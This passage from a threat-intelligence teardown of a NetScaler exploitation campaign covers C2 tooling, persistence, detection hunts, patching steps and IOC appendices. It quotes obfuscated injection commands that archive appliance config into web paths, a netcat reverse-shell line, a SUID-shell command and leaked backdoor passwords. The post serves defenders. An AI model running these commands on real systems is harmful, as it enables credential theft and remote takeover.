  • generation three (28,469-28,477 bytes, from Oct 3 03:51): adds a timestamped loot log (/var/tmp/.s2loot.log) and a validate_tgz() guard that runs tar tzf before every upload, which is exactly what you build after empty or truncated archives reach your server.

Roughly one deployment per hour, iterating code between them. That is automation plus an operator in the loop.

The exfil host also serves chisel. A 10.8MB FreeBSD binary fetched from 213.209.159.55 in sandbox runs is chisel-freebsd-amd64 (sha256 84f23d964ab636c81d95c3185f06a2ec628a9762dc767131d775500caf8dda0a, go1.26.8, flagged as hacktool.chisel/httptunnel). So the second wave’s tunnel layer is off-the-shelf chisel, hosted on the same box that collects the loot.

Platypus enrollment count, revised. Four full bootstraps (each with a distinct one-shot plt_ token, all pinning the identical CA pair: ingress minted September 2, project b51a65e0-... minted September 28) plus two one-line installers (dl_d3giforcdfgc5hqurluy... on Sept 28, dl_3wrbowpypfk26nypk6fj... on Sept 29). One server, six enrollments across two binary identities (ns_827664.pl, .ns_09343.pl), September 28-29. The primary actor’s targeting window is visible in enrollment timestamps.

A victim artifact, and a silent implant. A 47-byte text file uploaded September 28 is a real appliance’s /private/var/tmp/.nsmon/.cfg: it contains NSMON_CB=udp://192.168.100.2:4444 and NSMON_PORT=0, and no secret. That is nsmon.pl’s hardcoded default callback, an RFC1918 address that cannot route anywhere: in at least one real deployment the dropper’s environment did not reach the implant, the config was written with defaults, and the bind shell sat there phoning a lab address that does not exist. If you find .nsmon/.cfg on an appliance, the callback inside tells you which deployment style you are dealing with.

Infrastructure state and history. The update_c08937.pl path on 64.94.85.67 now returns 404; /lula on 31.56.197.72 answers with a JSON-RPC error body (the staging host fronts an API service); both wave hosts serve a bare ok on arbitrary paths, and probe responses are already being captured by other hunters. Passive DNS for entretiensol.com: 213.186.33.5 (November 2025), then 162.255.119.22 and 195.123.233.245 (both August 24, 2026, three days after the fingerprinting wave began). The C2 domain is at least nine months older than the campaign; aged infrastructure, not fresh registration.

The mystery of the 32-hex placeholder, solved. Searching the corpus for the template placeholder e4d909c290d0fb1ca068ffaddf22cbd0 returns twenty hits in game-mod RAR archives and minified JavaScript bundles, which looked like a tooling lineage until I opened one: it is the canonical MD5 test vector, md5('The quick brown fox jumps over the lazy dog.'), which appears in the documentation comment of every JavaScript MD5 library ever shipped. The kit’s author reached for the most famous hex string in computing as a placeholder. It also means the raw template panel is locked by construction: a 32-hex string in a SHA-256 comparison can never match any password, so the shell is inert until the deployment stage substitutes the real digest. Two lessons: verify content-search hits before calling them attribution, and a placeholder can be a design feature.

Platypus: Off-the-Shelf C2, Appliance-Flavored

TENEX’s staging analysis found the open-source Go framework Platypus deployed as the C2 agent, with appliance-aware tradecraft: the binary contains no C2 address at all (server and token are delivered by a bootstrap that resolved to entretiensol.com), it installs as /netscaler.local/ns_*.pl (a dotfile-style directory and .pl extension chosen to read as Perl tooling in a process listing), and keeps its enrollment certificate, key, and working data under /var/core/.ns-cache/, hiding in the core-dump directory. Tasking uses WebSocket over mutual TLS. The most detectable quirk: mesh discovery over mDNS, multicasting a platypus-mesh.tcp service on UDP/5353 in cleartext. A NetScaler speaking mDNS is wrong on its face, and it is one of the few places this whole campaign lights up a network sensor without any log analysis. Its certificates are self-signed with subject platypus-ingress, issuer “Platypus project default”, and URI platypus://server/default.

The enrollment bootstrap (7.6KB of shell, first seen September 28) shows how serverless the agents really are. It is generated per target by the Platypus server and embeds everything the agent needs: AGENT_HOST=entretiensol.com, port 443, a one-shot download token in the format plt_wqmnjp5jusrcpzicqa2t.gg3s7yppdptle5dyefxj (the server burns it on first successful hit, per the script’s own comment), the binary name ns_827664.pl, and the install paths /netscaler.local/ and /var/core/.ns-cache/. It auto-detects eleven CPU architectures and falls back through curl, wget, and python3, pinning TLS to one of two base64-embedded certificate authorities.

Those two CAs date the infrastructure. The ingress CA (CN Platypus project default) has notBefore September 2, 2026 at 14:07 UTC, which is one day before Mandiant’s earliest observed CVE-2026-88772 exploitation on September 3. A project-specific CA (CN Platypus project b51a65e0-e20b-444d-950e-8ff34b88c472) was minted September 28, after disclosure, suggesting a re-keyed instance mid-campaign. The C2 was standing ready before the first observed intrusion.

The agent builds on VT cover the platform matrix: FreeBSD x86-64 (8.8MB, go1.20.14), Linux static (two builds, stripped buildinfo), macOS arm64 (18MB, go1.26.4), and a 5.4MB Windows PE (stripped). Two Go generations across the set implies builds over multiple days. None of them contains entretiensol.com or any server address in their strings, confirming the bootstrap-delivered enrollment model and explaining why per-build IOCs are structural (paths, cert subjects, mDNS service name) rather than network. The macOS build’s strings also expose the upstream open-source project’s plugin surface, which includes host_net_relay, host_fs_delete, and a root-escalation module that drops /etc/sudoers.d entries and chowns the agent binary to root. Off-the-shelf does not mean limited.

Living-off-the-Appliance Persistence

Three more persistence mechanisms from the TENEX and Sygnia reporting, each elegant in a different way:

Trojanized SNMP sub-agent. The Python stage from 23.27.143.20:9000 (the retrieved main.py, 551 bytes, first seen September 29) overwrites the legitimate /var/python/bin/customsnmpd with a five-line reverse shell to 45.141.21.130:443 (socket, three dup2 calls over stdin/stdout/stderr, subprocess.call(['/bin/sh', '-i'])), then pgrep -f finds the running instance and kill -9 ends it. The appliance’s own service management restarts the trojanized file. Nothing new is created, no cron entry, no startup script; the implant is a file that is supposed to exist.

Rogue superuser in ns.conf. The Perl stage is update_c08937.pl, dissected above with its passwords; the short version of the risk: a superuser named sec_monitor lands directly in /flash/nsconfig/ns.conf with a PBKDF2 hash, survives reboots and config reloads because the config partition is the identity store, and needs one reboot to activate. Audit your ns.conf for accounts your change management does not know about.

SUID shell, everywhere. chmod 6555 /bin/sh appears in the GTIG, Unit 42, Sygnia, and TENEX reporting and is baked into the public PoC’s shellcode. It is the cheapest possible root re-entry: any code-execution primitive, any service account, any future bug, and /bin/sh is a setuid root shell. ls -l /bin/sh showing -rwsr-sr-x is a five-second compromise check that belongs in every edge-device audit.

Config Theft Without a Second Stage

Two variants steal the appliance’s secrets using only the primary injection, by writing archives into web-served paths:

NSPPE;tar${IFS}czf$IFS/var/netscaler/gui/vpn/c$IFS-C$IFS/flash${IFS}nsconfig;

(Rapid7; archive then fetched with an unauthenticated GET /vpn/c)

cat /flash/nsconfig/ns.conf > /var/netscaler/logon/insight-new.js

(Sygnia; same idea, no archive)

tar${IFS}czf${IFS}/var/netscaler/logon/LogonPoint/xua.html${IFS}/flash/nsconfig

(TENEX)

What is in /flash/nsconfig and why it is worth more than the appliance itself: ns.conf with encrypted-but-recoverable nsroot/admin material and LDAP/RADIUS/TACACS bind passwords, TLS certificates and private keys for every vServer, SSH host keys, and license files. Rotate all of it after a suspected compromise, and treat every connection those credentials vouched for as suspect.

The Opportunist Wave

From September 29, synchronized with the public PoC, a second and much less sophisticated population arrived: nc 199.233.217.13 8000 -e /bin/sh, Global Socket Toolkit pulls from gsocket.io, check-ins to 199.233.217.13 and 130.94.20.222, id output dropped into web-readable paths. Expect this layer to keep churning; the IOCs in the appendix will age faster than the techniques above them.

Detection and Hunting

If you run NetScalers, the following is the practical core of everything above.

Log triage on the appliance (Sygnia’s guidance, expanded with the vendor strings; hunt at least 30 days back):

grep -E -i "pitboss|PPE|NSPPE|unexpectedly died|missed too many heartbeats" /var/log/ns.log*
grep -E -i 'pitboss.*PPE.*(missed.*too.*many.*heartbeats|unexpectedly.*died)' /var/log/ns.log*
grep -E -i '\$\{IFS\}|b64decode|curl|wget|INDEX:|2N:' /var/log/httpaccess*
grep -E -i "receiver.min|\.sig|\.ico|nsgclient|nsginstaller" /var/log/httpaccess*

The regex variant matters: match missed.*too.*many rather than the exact phrase, because the observed payloads interleave ${IFS} and spacing varies (heartbeatsNSPPE; versus heartbeats NSPPE;). Unit 42’s blocking signature takes the same approach.

Network side (Corelight’s published Zeek hunts, verbatim):

#path = http | uri = /pitboss.*PPE.*(missed.*too.*many.*heartbeats|unexpectedly.*died)/i
#path = http | array:regex("client_header_values[]", flags="i", regex="pitboss.*PPE.*(missed too many heartbeats|unexpectedly died)")
#path = ssl version=/^DTLS/ server_name=/citrix|netscaler/i
#path=http user_agent=/curl|wget/i uri=/nsconmsg/i

Plus their HA-port hunts (UDP 3003 heartbeat, TCP 3008/3010 sync) for asset discovery, and a connection watch on 194.26.29.88. Elastic shipped a production EQL rule for the log-poisoning pattern on September 28; NCSC-NL published detection rules as well.

Host checks, in priority order:

ls -l /bin/sh                         # -rwsr-xr-x = SUID backdoor
grep -En -i "application/x-httpd-php|php_flag|AliasMatch|SetHandler" /etc/httpd.conf
ls -la /tmp/.uxdport* /tmp/.uxdlock   # WHIPSHOT/SLAPSHOT
ps aux | grep -E "python.*(\.uxd|uxdport|uxdlock|base64)"
grep -i "sec_monitor" /flash/nsconfig/ns.conf
ls -la /var/core/.ns-cache/           # Platypus enrollment material
grep -rn -E "nsmon|\.slap" /etc/crontab /nsconfig/crontab /nsconfig/rc.netscaler 2>/dev/null
ls -la /var/tmp/.nsmon /nsconfig/.slap /var/tmp/.ux 2>/dev/null
ls -la /var/tmp/.slap-watch.pid /var/tmp/.s2loot.log 2>/dev/null   # analog-kit gen 2/3
sockstat -4 -l | grep -E ":(41[0-9]{3}|99[0-9]{2})"    # nsmon / analog-kit listeners
sockstat -4 -l                        # everything else unexpected

Do not lean on antivirus for this campaign. On their first days on VT, .ctxs.receiver was flagged by 1 of 94 engines, nsmon.pl by 1, and both staging droppers by 0. Plain PHP, Perl, and shell on an appliance have no behavioral tell for a file scanner; the grep and socket hunts above are the control that works.

The caveats that will bite you. A 404 on the staging request proves nothing; staging only needs the request logged (Sygnia). Patching does not evict persistence; GTIG, Unit 42, and TENEX all repeat this. In HA pairs, isolate the standby before cleaning, or httpd.conf persistence replicates back (GTIG). And per TENEX, the vendor’s console IoC scanner returning clean is inconclusive (it has false negatives, including on fresh 13.1-64.23 builds); the grep-based hunts above are the stronger evidence.

Patching and Eradication

Fixed builds (CTX697096): 14.1-73.37+, 13.1-64.23+, 14.1-73.37 FIPS+, 13.1-37.279+ for 13.1-FIPS/NDcPP. One upgrade closes all eight CVEs in the bulletin. The patch gotchas worth planning around: if show ns variable reports configured variables, go to 13.1-64.24+ rather than .23 (Sygnia); TENEX reports a reboot-loop condition on 13.1-64.23 (disable DTLS as an interim measure) and that fixed builds reject unsigned SAML assertions, which will surface as its own incident if your IdP flow depends on them. For CVE-2026-88778 (the ISN-predictability bug in the same bulletin), the mitigation knob is set ns tcpparam -enhancedISNgeneration ENABLED.

Full eradication order, merged from GTIG, TENEX, Sygnia, and the sample analysis: patch first, then hunt (logs, host checks above), remove persistence (webshells and their httpd.conf aliases, SUID shell via chmod 555 /bin/sh, the sec_monitor account, /var/core/.ns-cache, trojanized customsnmpd restored from firmware, crontab scrubbers, the nsmon cron lines in both crontabs, rc.netscaler lines referencing /nsconfig/.slap, and the /var/tmp/.nsmon, /nsconfig/.slap, /var/tmp/.ux directories), rotate every secret the appliance held (nsroot, LDAP/RADIUS/TACACS binds, TLS keys, SSH host keys; assume the loot_nsconfig.tgz and update_result_*.tgz uploads succeeded), revoke VPN and ICA/HDX sessions, and only then rejoin an HA pair.

Why This Campaign Deserves a Folder in Your Head

Three takeaways I am keeping:

“Execute logging” is an architecture, not a bug class. The fatal line was a backtick around data derived from a log file. Logs on perimeter appliances are attacker-writable by definition (User-Agents, usernames, URIs). Any scheduled script that greps those logs and interpolates the results into a shell is this vulnerability waiting for its CVE. Go grep your own fleet’s cron and maintenance scripts for backticks wrapping log-derived variables; that is the durable lesson of 88771, and it generalizes far beyond Citrix.

Edge appliances get memory-corruption respect again. The 88772 PoC’s hardcoded gadget table only works because the target binary’s mapping never moves. No EDR, no ASLR relief, root-everything, and a process that legitimately speaks TLS to the internet. GTIG’s own framing: edge-device vulnerabilities accounted for 48% of enterprise zero-days in their prior-year data. The payload stack here (namespace-camouflaged cookies, fake-CSS aliases, log-staged installers, living-off-the-appliance persistence) is what state-grade actors build when they expect to own the box indefinitely and quietly.

Detection asymmetry favored defenders here, briefly. The trigger strings are loud and grep-able, the protocol quirks are unambiguous (a NetScaler multicasting mDNS, a 404 with a fat body, /bin/sh with setuid). Every vendor in this post published working hunts within 72 hours. The window between “public PoC” and “commodity exploitation” was minutes, but the window between “first poison line in your logs” and “irrecoverable” was days. If you have NetScalers and have not yet pulled 30 days of ns.log and httpaccess, that is the entire action item; the grep strings are above.

Appendix A: Artifact Manifest

Everything below was collected from public sources, hashed, and analyzed statically; nothing was executed.

Artifactsha256
watchTowr CVE-2026-88771 PoCc206c6da679260a0bb5d325ceb55984fed16a9016e8346cbe8344f59e3f76669
watchTowr CVE-2026-88772 PoCc0f4545bc91e3d9a243fe7d131162761906b0ddd0d004965187bec6f66b0bc45
craigsblackie trigger PoC (Nitro variant)abc8ad6c89c97d03cf00e24e0487585ffb7da049f68e2195ef4c4b87224d18cb
ns_monuploadd_err.pl, firmware 66.59 (vulnerable)fb7f574a4c185fa8e520c47280939ce22899243a0083ee7120b7300c43baca29
ns_monuploadd_err.pl, firmware 73.37 (patched)02b24a9923a6cee1fbee48137b7f81b7e0f5169246728b7368fc3a066c43a708
Unit 42 Figure 1 (staging payload)45a63d5d425a7d15aaacc3eb6d766182dbe81bdb472f44feba1b7c21a25c866a
Unit 42 Figure 2 (decoded script)926de9fe5a0b835fd5a55bd4925a12f51ef669f79150173ad8c0bd57a5531507
GTI YARA (transcribed from blog)6d65a929c8d752aaf4f341fe84f9eb3653e049b5964c2f6af647054a88809212

Campaign sample hashes from vendor reporting: ed082f744f035035900f67edf438f2f7d0528ac501234f63d476d65273cdb9a1 (.ctxs.receiver), ae22ef2517b5c0fb47f78745b9cb5260acee0e751b89bcd354640ff8bc8d29ec (nsg64.deb), 5ea5ea61e9062822bee3f66ef5ff47c217178d9e31936ad6daf10c5dfae44d12 (.ico webshell), 1bd314b661396c7086f6367fbbb48025e03ca2de69c073d53a8b0a38aa5fbb7d / 79c65fa04541032e251fa4796b97800374b63c7982593dd1a2e0db605d429186 (Unit 42 staging pair), and the Arctic Wolf pack adds 73b74309f4728d169cc9edfb2767c5aadd75d39b62de93c935a86c777d2646bc, 9c7bf01d2c2cb31a3609d27c1bc9abc60d86e37b7f9908547e0c75fb18b99aab (nsmon.pl), 974b69782fdf5d67b97cfd508465939e44ee10798dbcc1e82b92d78776bad938 (update_c08937.pl), 927c7fbef2e620c1ce482c3ed67ebf53da97693c1d6c7552c77aec84ba982cf8 (Platypus bootstrap script). The GTI VirusTotal collection is c794f2e5d051c46cd2ff5e429128d7e68954ba78e66735fc69362ec726e63ee4.

The sample set verified for this teardown (first seen = first VirusTotal submission, UTC):

sha256 (first 12)TypeSizeFirst seenIdentity
5ea5ea61e906PHP929 BSep 27 20:27e6ee7c85.sig dual-mode webshell/installer
57f9f30c5024Shell151 BSep 28 18:19Platypus one-line installer (entretiensol.com)
be5832f3993fELF static5.4 MBSep 28 18:23Platypus agent (ns_827664.pl naming)
927c7fbef2e6Shell7.6 KBSep 28 19:28Platypus enrollment bootstrap + two CAs
9c7bf01d2c2cPerl3.7 KBSep 28 19:41nsmon.pl cron bind shell
89b64bd45478ELF static5.4 MBSep 28 23:53Platypus agent (.ns_09343.pl naming)
73b74309f472Shell249 BSep 29 02:55nsmon dropper (/xd7h/, UDP callback)
2d2c2f684298ELF static19.2 MBSep 29 03:54Platypus agent, go1.26.4, debug build
04db3fc44c81Mach-O arm6418.2 MBSep 29 04:08Platypus agent, macOS build
974b69782fdfPerl10.0 KBSep 29 08:36update_c08937.pl second stage
e9fe43968c6cPython551 BSep 29 15:25main.py customsnmpd trojan
7add390ceee4PHP999 BSep 29 20:11nsgtrust.deb installer webshell
ed082f744f03PHP237 BSep 30 15:51.ctxs.receiver cookie webshell
0dcac605a3a0PE32+5.4 MBOct 1 19:50Platypus agent, Windows build (stripped)
c98aee75c5e1ELF FreeBSD18.6 MBOct 1 20:20Platypus agent, FreeBSD, go1.26.4
0188b0eba4b0ELF FreeBSD8.8 MBOct 2 11:49Platypus agent, FreeBSD, go1.20.14
72cff13fcba7Perl25.1 KBOct 2 16:52SLAPSHOT/WHIPSHOT “analog” kit, token 380d56
b9b0a4380db4Perl25.1 KBOct 2 17:29same kit, token ae7427

Full hashes for the sample set, in table order:

5ea5ea61e9062822bee3f66ef5ff47c217178d9e31936ad6daf10c5dfae44d12  57f9f30c50240fd48d761de7961a430cdebf2c084a36bc76d376a1ce8e6dfa9d
be5832f3993ff63a36100b2f7b89c8d385e20dd9d72876700e7ade9fb9e6d4cb  927c7fbef2e620c1ce482c3ed67ebf53da97693c1d6c7552c77aec84ba982cf8
9c7bf01d2c2cb31a3609d27c1bc9abc60d86e37b7f9908547e0c75fb18b99aab  89b64bd45478e53299f9c422cbba40fac3ac0712b551b85185e38203f7f984c6
73b74309f4728d169cc9edfb2767c5aadd75d39b62de93c935a86c777d2646bc  2d2c2f6842982f7e1cb894ce915d39f2a9861009c7ecb1b90da803f2c3c608f4
04db3fc44c81886844ef47949d7f352953a6bf1be4866be1fb3e7e12c452e3ac  974b69782fdf5d67b97cfd508465939e44ee10798dbcc1e82b92d78776bad938
e9fe43968c6c0955300e3bc4d7fb0b05a18570b4733aaf4f5c6f7f09be5a242c  7add390ceee4a1373211b3e340451b34f08965fc4d805f94c9b8cebdc0775774
ed082f744f035035900f67edf438f2f7d0528ac501234f63d476d65273cdb9a1  0dcac605a3a0c37001552369a6a77003226b35ddee7710b554fcd0e6809a76d1
c98aee75c5e199c9b5527984ce48675d665963f7cab8ce9f2e82465de6b58727  0188b0eba4b01c4fb838df9d1d76c76d7f1dc22897e25161975b606c134c1027
72cff13fcba75504485e94fa6bfc5e9363e860f49efdba68feb583148eec38f2  b9b0a4380db462c706597bd3e6a08d4d99fcbbf0919d63eb99b488d396c8ce63

Four hashes from the reporting have no published sample: 1bd314b661396c7086f6367fbbb48025e03ca2de69c073d53a8b0a38aa5fbb7d, 6f5a2a452a7901323abd21879c6cecccb47c06aeeaccb1b467212f3b11e4b1e7, 79c65fa04541032e251fa4796b97800374b63c7982593dd1a2e0db605d429186, and ae22ef2517b5c0fb47f78745b9cb5260acee0e751b89bcd354640ff8bc8d29ec (Unit 42’s nsg64.deb among them).

Second-wave samples surfaced by the constant pivot (“Pivoting the Constants” section; first seen = first VT submission, UTC):

sha256TypeSizeFirst seenWhat it is
e5441b7d3d9d705fc6db8befc44974f13172267a42b7c9ca05a0144fca92e873Text47 BSep 28 19:44victim nsmon .cfg, default callback udp://192.168.100.2:4444, no secret
90275ff480ba1e9e6a9c95e78dda748b7155ae71be6886564ef0253cfe10c1a7Shell6.9 KBSep 28 20:22Platypus bootstrap, token plt_wsemghw6hwzpjvcniwth.hwsh4pr63ue7gt22vnuq, bin ns_827664.pl
008bfca8c2ec448377f02b2366a84dcdc541ca94042a3f2c63dd905bcd730cShell7.0 KBSep 28 23:48Platypus bootstrap, token plt_2uhfcg6a7npuwiuaiakb.w6rgc3kclkuwh7nhgr2h, bin .ns_09343.pl
a2a907bc713fecac111d513e12311a0da983de50893ce1ac236e22eb9aa77ba1Shell151 BSep 29 04:05second Platypus one-line installer, token dl_3wrbowpypfk26nypk6fj.erlcdi3xomfglunnik66
beb04a1b3caf49af286ca4f733846fe2ec7719e2a8181590b66295876ee1158eJSON125 BSep 29 11:30staging response from 31.56.197.72/lula: JSON-RPC error body
c706c2422dda5c1e485b8ead8c52b2618f1df7696b0066b4dd6b76300c8aea24Shell7.6 KBSep 29 15:03Platypus bootstrap, token plt_znwetalqffjpztwndwvq.54ftkhp2n63qalhltgbv, bin .ns_09343.pl
84f23d964ab636c81d95c3185f06a2ec628a9762dc767131d775500caf8dda0aELF10.8 MBOct 1 14:21chisel-freebsd-amd64 served from the exfil host (hacktool.chisel, go1.26.8)
2220044a55da27f7c528d5a5da1d26d15bae966a85c440b084c57ab0798a96d7Perl25,158 BOct 2 15:38analog-kit gen 1, exfil token 906b4f
e8f594f94965ac4d51c89e99d4c5026fe6f64503ffd63a82fb465b9aa62b8740Perl25,158 BOct 2 15:59gen 1, token 818f74
740daa04c2f66eede7576b11a57dc11a1ddb5896244ed6d3cc428bd134d7425fPerl25,158 BOct 2 16:33gen 1, token a779ab
53e61abcf0dcb9de2044968c5e72e60c03df2e485b1aaf8581e7268a8486a6a1Perl25,158 BOct 2 16:50gen 1, token 324d58
72cff13fcba75504485e94fa6bfc5e9363e860f49efdba68feb583148eec38f2Perl25,158 BOct 2 16:52gen 1, token 380d56
b9b0a4380db462c706597bd3e6a08d4d99fcbbf0919d63eb99b488d396c8ce63Perl25,158 BOct 2 17:29gen 1, token ae7427
767f2c349857b42157cd7a73ce8223f4f6ac9135d63b1321960df8570bf0f3a8Perl25,158 BOct 2 17:48gen 1, token 29a04f
10517f49ef2fc81ffde667fd300b2677749b9c1604b7c35379535bf0d9bf6833Perl25,158 BOct 2 20:05gen 1, token 1f0a10
ec6d42cc99e3c7870dc11606643e8b296e4aadafaf886f05506e1f515aa55eeePerl26,367 BOct 2 21:20gen 2 (watchdog), token 9c3166
12b15fe585a21d33eeb863fc5a246596225a77185a314d55de3c980bbe11e9c0Perl26,370 BOct 2 21:39gen 2, token 3b6d2f
83307fb218b557a0a1cab46e094b038f9b795d2d02bd04ac7ce4e0d3eb4ec8c3Perl26,370 BOct 2 21:39gen 2, token 471d83
b9bc8d87ef77f63082445f5664e02a84db568f6d8147e077b97dc15df9f2a36bPerl26,367 BOct 2 21:53gen 2, token 274124
12ff1448594844ffe072674e4da36c2bb92bce19bfdf494bcae0542ce6e1731aPerl26,367 BOct 3 01:00gen 2, token 818f74 (re-deploy)
4b0c3ebbe916831371b16cc4226079b6abde97245f24e5aa868a9786d4b2a152Perl26,367 BOct 3 01:32gen 2, token db6c6c
d04663bdab3183c94381d19eec7af59f90890497d5ad95c7af1c00d0fe8901dcPerl28,469 BOct 3 03:51gen 3 (loot log + validate), exfil path built at runtime
0a7f88a74e82725e8ceaf9aa0b25b43c43105ff7653b29a0cbba94ce40b04447Perl28,474 BOct 3 03:58gen 3, token 861cd3
602b859d38c02c559f62e5c6f7ba30265b2ffd7faf528a3b0151727c7a1dc2d3Perl28,477 BOct 3 07:03gen 3, token 62cd78
899299dcaa6531e450cfc844f7948bc3180c6cbebc43cf751e65ee261f6732cdPerl28,474 BOct 3 07:29gen 3, token 6f3c3e
74da9485815ee124e2ebe155dbcfb758b54bd97760956998abf64838c865f78bPerl28,474 BOct 3 09:43gen 3, token a718e4

Appendix B: IOC Index

IPs. 88771 injection: 149.104.78.208 (Rapid7). Staging/C2: 64.94.85.67, 62.133.62.80 (UDP 39725 + HTTP 80 /xd7h/), 31.56.197.72, 23.27.143.20, 45.141.21.130, 199.233.217.13, 130.94.20.222, 194.26.29.88, 143.198.7.94, 157.254.167.12; analog-kit exfil 213.209.159.55:443 (also serves chisel), exfil path tokens /t/{380d56,ae7427,906b4f,818f74,a779ab,324d58,29a04f,1f0a10,9c3166,3b6d2f,471d83,274124,bad2ad,db6c6c,861cd3,a718e4,6f3c3e,62cd78}; historical entretiensol.com resolutions 213.186.33.5 (2025-11), 162.255.119.22, 195.123.233.245 (2026-08-24). Unit 42 chain: 45.61.136.143, 66.227.183.84, 77.83.199.39, 104.28.215.137, 104.28.215.136, 104.248.244.66, 104.248.74.206, 104.28.247.136, 104.28.247.137, 162.33.178.9, 193.149.176.207, 216.245.184.164, 66.135.19.18, 167.99.111.203, 142.93.85.227, 137.184.91.207, 78.47.24.217, 139.180.152.138. Sygnia: 45.76.34.141, 209.250.236.77, 138.68.21.29, 170.64.176.26.

Domains. entretiensol.com (Platypus, port 443; install path /api/v1/install/dl_d3giforcdfgc5hqurluy.ctzlc5tkt3w6p5flcmnq), gsocket.io (opportunist tooling).

Paths and files. /netscaler/ns_monuploadd_err.pl; /var/log/ns.log*, /var/log/messages, /var/log/httpaccess*; /var/netscaler/logon/LogonPoint/custom/.ctxs.receiver; /var/netscaler/logon/LogonPoint/.local_journal; /var/netscaler/logon/LogonPoint/{xua.html,insight-new.js}; /vpn/scripts/linux/nsg{client18,ser18,support,package64,build,64,installer,trust}*.deb; /var/netscaler/gui/vpn/scripts/linux/{e6ee7c85.sig,1bd8a664.sig,80974ca9.sig,LoginIcon.sig}; /netscaler/ns_gui/vpn/c88771.json; /etc/httpd.conf (plus /etc/httpd.conf.slap.bak); /flash/nsconfig/ns.conf; /var/python/bin/customsnmpd; /var/netscaler/.ns_suidcmd; /netscaler.local/ns_*.pl; /var/core/.ns-cache/; /tmp/{.uxdport,.uxdlock,1.py}; /var/tmp/.nsmon/ (nsmon.pl, .cfg, .state, log); /nsconfig/.slap/ (agent.pl, bridge.pl, boot.sh); /var/tmp/.ux/ (slapshot.py, whipd.py); /tmp/update_result_3567cs.tgz; /bin/sh (mode 6555).

Accounts, keys, cookies. wfr (observed target account), scanner-probe (recon), sec_monitor (rogue superuser, password ay#39&RGYvv4Xuzy); .local_journal webshell password QI@UEG5PC7oRt31E (deployed hash replaces template placeholder e4d909c290d0fb1ca068ffaddf22cbd0, which is the MD5 test vector of “The quick brown fox jumps over the lazy dog.”); RC4 key 7489a0f93c67fa5cdaeb4b921d90594d = MD5(Rhfajaf1H992); cookie gates CsrfToken=e826d7ddf3c85920 (command cookie NSC_TASS) and CsrfToken=072874c28950cf7befd319d17e9709e7 (analog kit, command cookie CsrfToken2); nsmon callback secret y7lg7jq57b and hardcoded default callback udp://192.168.100.2:4444; Platypus enrollment tokens plt_wqmnjp5jusrcpzicqa2t.gg3s7yppdptle5dyefxj, plt_wsemghw6hwzpjvcniwth.hwsh4pr63ue7gt22vnuq, plt_2uhfcg6a7npuwiuaiakb.w6rgc3kclkuwh7nhgr2h, plt_znwetalqffjpztwndwvq.54ftkhp2n63qalhltgbv, dl_d3giforcdfgc5hqurluy.ctzlc5tkt3w6p5flcmnq, dl_3wrbowpypfk26nypk6fj.erlcdi3xomfglunnik66; Platypus project UUID b51a65e0-e20b-444d-950e-8ff34b88c472; staging markers INDEX: and 2N:.

Behavioral. DTLS SSL_HANDSHAKE_FAILURE with Reason "Handshake failure-Internal Error" correlated with pitboss NOT restarting NSPPE; mDNS platypus-mesh.tcp on UDP/5353; HTTP 404 responses with large bodies to /vpn/media/*.ico or fake-CSS paths (including receiver.v2.min.css and LogonUISimple.html.style.min.css); ${IFS}-obfuscated shell in any logged field; nsmon check-in y7lg7jq57b host=... port=... uid=0 ... over UDP 39725 and root listeners in 41000-41999 (plus 9909/9910 for the analog kit, and chisel tunnels from the exfil host’s build); cron lines */5 * * * * root perl /var/tmp/.nsmon/nsmon.pl, * * * * * /bin/perl /nsconfig/.slap/agent.pl, */5 * * * * /bin/sh /nsconfig/.slap/boot.sh; /nsconfig/rc.netscaler lines launching /nsconfig/.slap/*; analog-kit gen 2/3 artifacts /var/tmp/.slap-watch.pid and /var/tmp/.s2loot.log; uploads named loot_nsconfig.tgz, loot_nshist.tgz, loot_httpd.conf, loot_diag.txt, sysbackup_*, update_result_*.tgz; self-signed certs with subject platypus-ingress or CN Platypus project default (notBefore 2026-09-02) and CN Platypus project b51a65e0-e20b-444d-950e-8ff34b88c472 (notBefore 2026-09-28).

Sources

Primary vendor research and advisories: Google Threat Intelligence, Rapid7 ETR, Unit 42, Corelight Labs, TENEX, Sygnia, watchTowr Labs, CERT-EU, Citrix CTX697096, CyberScoop. PoCs: watchTowr 88771, watchTowr 88772, craigsblackie evidence repo. Community IOC packs: Arctic Wolf wolf-tools, PitScaler, NCSC-NL rules.

Corrections welcome, as always. If you are mid-incident on this one: patch, hunt the logs, rotate everything the appliance ever held.

← back to listing